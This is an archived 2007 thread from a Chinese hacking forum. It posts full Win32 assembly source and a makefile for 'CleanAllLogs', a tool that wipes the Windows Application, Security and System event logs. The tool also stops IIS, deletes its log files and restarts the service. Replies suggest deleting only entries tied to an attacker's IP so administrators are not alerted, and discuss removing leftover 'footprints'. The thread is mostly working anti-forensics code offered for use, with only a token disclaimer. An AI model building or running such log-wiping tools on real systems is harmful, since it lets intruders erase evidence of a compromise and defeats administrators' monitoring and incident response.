邪恶八进制信息安全团队技术讨论组's Archiver

taiwansee 2007-11-19 19:36

[原创]Win32汇编版 app、sys、sec和IIS日志清除工具

文章作者:taiwansee
信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])

用Win32汇编实现的app、sys、sec和IIS日志清除程序。。
在2000/xp/2003上测试成功。。
现开放源代码,发现bug请跟贴。。
文末有 源代码、makefile、编译好的程序 的打包。

[color=#FF0000]注意:本文中的代码只做技术讨论学习,不可用作非法用途。[/color]
源代码:
[language=asm]
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;    CleanAllLogs  清除系统中的app、sys、sec和IIS日志
;
;        By taiwansee 2007-11-16
;
;已知bug 重启IIS后80服务正常,HTTPS(443端口的)不能访问了。。郁闷。。
;测试环境是windows xp pro sp2 IIS5.1,如有知道的请告知下,先行谢过!
; 使用 nmake 或下列命令进行编译和链接:
; ml /c /coff CleanAllLogs.asm
; Link /subsystem:windows CleanAllLogs.obj
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    .386
    .model flat, stdcall
    option casemap :none
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Include 文件定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include    windows.inc
include    user32.inc
includelib  user32.lib
include    kernel32.inc
includelib  kernel32.lib
include    advapi32.inc
includelib  advapi32.lib
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    .const
DEBUG    equ    0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    .data
if DEBUG
szCaption  db  'Debug info......',0
szOpenEventLogFailed  db  'szOpenEventLogFailed',0
szClearEventLogFailed  db  'szClearEventLogFailed',0
szCloseEventLogFailed  db  'szCloseEventLogFailed',0

szOpenSCManagerFailed  db  'szOpenSCManagerFailed',0  
szOpenServiceFailed  db  'szOpenServiceFailed',0
szQueryServiceStatusFailed  db  'szQueryServiceStatusFailed',0
szControlServiceToStopFailed  db  'szControlServiceToStopFailed',0
szStartServiceFailed  db  'szStartServiceFailed',0

szDeleteFileFailed  db  'szDeleteFileFailed',0

szDoNextFile    db  'szDoNextFile',0
szBeginDelete    db  'szBeginDelete',0

endif

;//////////////清除系统日志///////////////
szApplication  db  'Application',0
szSecurity  db  'Security',0
szSystem  db  'System',0
;//////////////清除系统日志///////////////


szIIS    db  'w3svc',0
szFiles    db  '\*.*',0
szLogfiles  db  'ex*.log',0
szXieGang  db  5ch,0
szFilesPath  db  'logfiles',0
szOnePoint  db  '.',0
szTwoPoint  db  '..',0

dwISSuffix  dd  0

    .data?
dwlpFileName    dd  ?
dwPrefixLength    dd  ?
dwSuffixLength    dd  ?
szPrefix    db  128 dup(?)  ;前缀支持128个字节
szSuffix    db  16 dup(?)  ;后缀支持16个字节
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 代码段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    .code


;//////////////清除系统日志///////////////
_CleanSYSLogs  proc  
    local  @hTargetLogs:dword,\
      @ECX:dword,\
      @lpTarget[3]:dword
      
    pushad
   
    lea  esi,@lpTarget
    mov  [esi],offset szApplication
    mov  [esi+4],offset szSecurity
    mov  [esi+8],offset szSystem
      
    mov  ecx,3
    .while  ecx
      mov  @ECX,ecx
      mov  eax,dword ptr @lpTarget[ecx*4-4]
      invoke  OpenEventLog,NULL,eax
      .if  eax!=NULL
        mov  @hTargetLogs,eax
      .else
        if DEBUG
          invoke  MessageBox,NULL,offset szOpenEventLogFailed,\
                offset szCaption,\
                MB_OK
        endif
      .endif
      ;清除由@hTargetLogs指定的日志
      invoke  ClearEventLog,@hTargetLogs,NULL
      .if  eax==NULL
        if DEBUG
          invoke  MessageBox,NULL,offset szClearEventLogFailed,\
                offset szCaption,\
                MB_OK
        endif
      .endif
      ;关闭日志句柄
      invoke  CloseEventLog,@hTargetLogs
      .if  eax==NULL
        if DEBUG
          invoke  MessageBox,NULL,offset szCloseEventLogFailed,\
                offset szCaption,\
                MB_OK
        endif
      .endif
      mov  ecx,@ECX
      dec  ecx

    .endw
   
    popad
    ret
_CleanSYSLogs  endp

;//////////////////////////////////////////////////////////////////////////////////////////////////
;          处理用户定义的搜索字符串       /
;  支持的格式:xxx*.yyy 、*.yyy (xxx为前缀,*为通配符,yyy为后缀)     /
;///////////////////////////////////////把前缀保存在szPrefix中,长度保存在dwPrefixLength///////////
;///////////////////////////////////////把后缀保存在szSuffix中,长度保存在dwSuffixLength///////////
_PrefixAndSubfix  proc

      pushad

      invoke  RtlZeroMemory,offset szPrefix,sizeof szPrefix
      invoke  RtlZeroMemory,offset szSuffix,sizeof szSuffix
      mov  esi,offset szLogfiles
      lea  edi,szPrefix
      xor  ecx,ecx
  @@:   
      lodsb
      cmp  al,'*'
      jz  @F  ;找到通配符, 前缀收集结束,跳到收集后缀的地方
      inc  ecx
      stosb    ;否则,继续收集前缀信息
      jmp  @B

  @@:   
      ;收集后缀信息....
      push  ecx
      push  ecx
      pop  dwPrefixLength    ;保存前缀长度

      mov  esi,offset szLogfiles
      lea  edi,szSuffix

      add  esi,ecx    ;修改偏移到后缀开始的地方
      add  esi,2

      mov  eax,sizeof szLogfiles ;计算szLogfiles长度

      sub  eax,ecx
      sub  eax,2    ;计算后缀长度
      
      mov  dword ptr dwSuffixLength,eax  ;保存后缀长度
      mov  ecx,eax      ;后缀长度保存到ecx
      rep  movsb

      pop  ecx
      .if  ecx==0;如果相同,说明只看文件后缀了。。后面跳到文件后缀比较的地方
           ;否则,开始处理文件的前后缀信息。。。。。
        mov  dwISSuffix,1
      .endif
        
      if DEBUG
        invoke  MessageBox,NULL,offset szPrefix,offset szCaption,MB_OK
        invoke  MessageBox,NULL,offset szSuffix,offset szCaption,MB_OK
      endif


      popad
      ret
_PrefixAndSubfix  endp


_DeleteLogFiles  proc  _szSystemDirectory,_szFilesPath

    local  @stFindFileData:WIN32_FIND_DATA,\
      @hFindFile:dword,\
      @szFileNameBuffer[512]:byte,\
      @szFileExtention[100]:byte,\
      @dwFileNameLength:dword,\
      @szFilePrefix[128]:byte,\
      @szFileSuffix[8]:byte,\
      @szSystemDirectoryBackup[256]:byte,\
      @bk[256]:byte

      
    pushad

    ;_szSystemDirectory ----> %systemroot%\logfiles\xxxx
    invoke  lstrcat,_szSystemDirectory,offset szXieGang
    invoke  lstrcat,_szSystemDirectory,_szFilesPath
    ;///备份一下_szSystemDirectory指向的路径字符串
    ;@szSystemDirectoryBackup ----> %systemroot%\logfiles\xxxx
    invoke  RtlZeroMemory,addr @szSystemDirectoryBackup,sizeof @szSystemDirectoryBackup
    invoke  lstrlen,dword ptr _szSystemDirectory
    inc  eax
    mov  ecx,eax
    mov  esi,dword ptr _szSystemDirectory
    lea  edi,@szSystemDirectoryBackup
    rep  movsb
    ;////////// szFiles ----> \*.*
    ;////////// _szSystemDirectory ----> %systemroot%\logfiles\xxxx\*.*
    invoke  lstrcat,_szSystemDirectory,offset szFiles
  
if DEBUG
    invoke  MessageBox,NULL,_szSystemDirectory,offset szCaption,MB_OK
    invoke  MessageBox,NULL,addr @szSystemDirectoryBackup,offset szCaption,MB_OK
endif
    ;////////// _szSystemDirectory ----> %systemroot%\logfiles\xxxx\*.*
    invoke  FindFirstFile,_szSystemDirectory,addr @stFindFileData
    .if  eax!=INVALID_HANDLE_VALUE
      mov  @hFindFile,eax
      .repeat
        lea  eax,@stFindFileData.cFileName
        mov  dwlpFileName,eax
;//如果是一个文件夹,则进入递归调用。。。
        .if  @stFindFileData.dwFileAttributes==FILE_ATTRIBUTE_DIRECTORY
          invoke  lstrcmp,dwlpFileName,offset szOnePoint
          .if  eax==0
            jmp DoNextFile
          .endif
          invoke  lstrcmp,dwlpFileName,offset szTwoPoint
          .if  eax==0
            jmp DoNextFile
          .endif
        ;////因为下面是传地址调用,所以进去之前保存下@szSystemDirectoryBackup的值
          invoke  RtlZeroMemory,addr @bk,sizeof @bk  ;清空@bk
          invoke  lstrcpyn,addr @bk,addr @szSystemDirectoryBackup,\
              sizeof @szSystemDirectoryBackup
        ;////保存好了后就可以进去了哈。。。///
          invoke  _DeleteLogFiles,addr @szSystemDirectoryBackup,dwlpFileName

        ;////出来后恢复下@szSystemDirectoryBackup的值

        ;清空@szSystemDirectoryBackup
          invoke  RtlZeroMemory,addr @szSystemDirectoryBackup,\
                 sizeof @szSystemDirectoryBackup
          invoke  lstrcpyn,addr @szSystemDirectoryBackup,addr @bk,\
              sizeof @bk

        .else
;//否则查看是否是匹配文件,如果是就删除,否则跳过。。。
;///////////////////处理找到的文件的前缀、后缀信息///////////////////////////////////
        .if  dwISSuffix==1
          jmp @F
        .endif
         
          mov  eax,sizeof @stFindFileData.cFileName
          mov  dword ptr @dwFileNameLength,eax
          cmp  dwPrefixLength,eax
         
          jg  DoNextFile  ;前缀比文件名都长,肯定不是目标文件了,跳到循环末尾
         

          invoke  RtlZeroMemory,addr @szFilePrefix,sizeof @szFilePrefix
          ;下面开始比较前缀与文件前缀了
          lea  esi,@stFindFileData.cFileName
          lea  edi,@szFilePrefix
          mov  ecx,dwPrefixLength
          rep  movsb

          invoke  lstrcmp,offset szPrefix,addr @szFilePrefix
          .if  eax!=0
            jmp DoNextFile
          .endif

      @@:
          mov  eax,sizeof @stFindFileData.cFileName
          mov  dword ptr @dwFileNameLength,eax
          ;//////否则,说明前缀匹配,开始看后缀,先采集文件后缀信息///
          invoke  RtlZeroMemory,addr @szFileSuffix,sizeof @szFileSuffix
          lea  esi,@stFindFileData.cFileName
          lea  edi,@szFileSuffix
          xor  ecx,ecx

      @@:    lodsb
          inc  ecx
          cmp  al,'.'
          jnz  @B
          sub  @dwFileNameLength,ecx
          mov  ecx,@dwFileNameLength
          rep  movsb
          ;//开始比较后缀与文件后缀,如果相同,则可以执行删除动作
          ;//否则,跳到循环末尾

          invoke  lstrcmp,offset szSuffix,addr @szFileSuffix
          .if  eax!=0
            jmp DoNextFile
          .endif

;///////////文件通过上面的过滤后,符合条件的就可以被执行删除动作了/////////////////////

          ;@szSystemDirectoryBackup ----> %systemroot%\logfiles\xxx
          ;@szFileNameBuffer ----> %systemroot%\logfiles\xxx
          invoke  lstrcpy,addr @szFileNameBuffer,addr @szSystemDirectoryBackup

          ;@szFileNameBuffer ----> %systemroot%\logfiles\xxx\
          invoke  lstrcat,addr @szFileNameBuffer,offset szXieGang
         
          ;@szFileNameBuffer ----> %systemroot%\logfiles\xxx\exXXXX.log            
          invoke  lstrcat,addr @szFileNameBuffer,dwlpFileName
          if DEBUG

          invoke  MessageBox,NULL,offset szBeginDelete,\
                offset szCaption,\
                MB_OK
          invoke  MessageBox,NULL,addr @szSystemDirectoryBackup,\
                offset szCaption,\
                MB_OK
          invoke  MessageBox,NULL,addr @szFileNameBuffer,\
                offset szCaption,\
                MB_OK
          endif

          invoke  DeleteFile,addr @szFileNameBuffer
          .if  eax==0
            if DEBUG
              invoke  MessageBox,NULL,\
                   offset szDeleteFileFailed,\
                   offset szCaption,\
                   MB_OK
            endif
          .endif
      
        .endif
      DoNextFile:
        if DEBUG
          invoke  MessageBox,NULL,offset szDoNextFile,offset szCaption,MB_OK
        endif
        invoke  FindNextFile,@hFindFile,addr @stFindFileData
      .until  eax==0
    .endif

      popad
      ret
_DeleteLogFiles  endp

;//////////////清除IIS日志///////////////
_CleanIISLogs  proc
    local  @hSCM:dword,\
      @hIIS:dword,@stServiceStatus:SERVICE_STATUS,\
      @szSystemDirectory[512]:byte
      
    pushad
  
    invoke  OpenSCManager,NULL,NULL,SC_MANAGER_ALL_ACCESS
    .if  eax!=NULL
      mov  @hSCM,eax
    .else
      if DEBUG
        invoke  MessageBox,NULL,offset szOpenSCManagerFailed,offset szCaption,MB_OK
      endif
    .endif
    invoke  OpenService,@hSCM,offset szIIS,SERVICE_ALL_ACCESS
    .if  eax!=NULL
      mov  @hIIS,eax
    .else
      if DEBUG
        invoke  MessageBox,NULL,offset szOpenServiceFailed,offset szCaption,MB_OK
      endif
    .endif
    invoke  QueryServiceStatus,@hIIS,addr @stServiceStatus
    .if  eax==NULL
      if DEBUG
        invoke  MessageBox,NULL,offset szQueryServiceStatusFailed,\
              offset szCaption,\
              MB_OK
      endif
    .endif
    .if  @stServiceStatus.dwCurrentState!=SERVICE_STOPPED
      invoke  ControlService,@hIIS,SERVICE_CONTROL_STOP,addr @stServiceStatus
      .if  eax==NULL
        if DEBUG
          invoke  MessageBox,NULL,offset szControlServiceToStopFailed,\
                offset szCaption,\
                MB_OK
        endif
      .endif
    .endif

    ;获取系统目录。。。
    invoke  GetSystemDirectory,addr @szSystemDirectory,sizeof @szSystemDirectory
    ;///下面一个包含睡眠的小循环。。等待IIS服务完全停止,然后执行后面的代码。。。。
    .repeat
      invoke  QueryServiceStatus,@hIIS,addr @stServiceStatus
      .if  eax==NULL
        if DEBUG
          invoke  MessageBox,NULL,offset szQueryServiceStatusFailed,\
              offset szCaption,\
              MB_OK
        endif
      .endif
      .if  @stServiceStatus.dwCurrentState!=SERVICE_STOPPED
        invoke  Sleep,500
        .continue
      .endif
    .until @stServiceStatus.dwCurrentState==SERVICE_STOPPED

    ;/////szFilesPath -----> logfiles
    invoke  _DeleteLogFiles,addr @szSystemDirectory,offset szFilesPath

    ;重新启动IIS服务。。。。
    invoke  StartService,@hIIS,NULL,NULL
    .if  eax==NULL
      if DEBUG
        invoke  MessageBox,NULL,offset szStartServiceFailed,\
              offset szCaption,\
              MB_OK
      endif
    .endif
   
    invoke  CloseServiceHandle,@hIIS
    invoke  CloseServiceHandle,@hSCM

    popad
    ret
_CleanIISLogs  endp

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
    call  _PrefixAndSubfix
    call  _CleanIISLogs
    call  _CleanSYSLogs
    invoke  ExitProcess,NULL
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    end  start

[/language]

makefile:
[code]
NAME = CleanAllLogs
OBJS = $(NAME).obj

LINK_FLAG = /subsystem:windows
ML_FLAG = /c /coff

$(NAME).exe: $(OBJS)
  Link $(LINK_FLAG) $(OBJS)
.asm.obj:
  ml $(ML_FLAG) $<

clean:
  del *.obj
  del *.exe
  del *.res
  del *.bak

[/code]

stealthwalker 2007-11-19 23:07

nice work man, thanks for posting this nice work.
BTW, 简单的删除固然有效,但无疑也是给管理员一个警告,所以最好是有条件的删除,比如某个ip的相关信息或者某个操作的信息等等。小小的建议

taiwansee 2007-11-20 20:06

谢谢楼上两位的建议,这个问题考虑过,由于时间关系没有去实现,改进后会及时贴出。

Anskya 2007-11-23 15:02

您对字符串处理很头痛吗?
请使用RegEx Library
asm版本的也很多
对asm不熟一般不用asm,object pascal足矣

taiwansee 2007-11-25 00:57

首先,回4楼Anskya :
  字符串处理确实很烦人。。没法子,刚入门win32汇编,功底浅。。你说的那个RegEx Library我没找到。。win32汇编里似乎没有这玩意。倒好像是高级语言的东西。请指教。
  [quote]对asm不熟一般不用asm,object pascal足矣[/quote]如果对某东西不熟就不用它,那坏了,你永远也别想熟悉它。
其次,今天发现个小bug,就是system那项的日志没能清除干净,还有脚印,个人认为应该如下,不知能否从根本上解决问题:
[code]
call   _CleanIISLogs
call   _CleanSYSLogs
[/code]
改为
[code]
call   _CleanIISLogs
invoke  Sleep,2000
call   _CleanSYSLogs
[/code]

zshoucheng 2007-11-25 01:28

可以用多线程处理。。

传个正则表达式库(带源码、Lib、Sample)

页: [1]
© 1999-2008 EvilOctal Security Team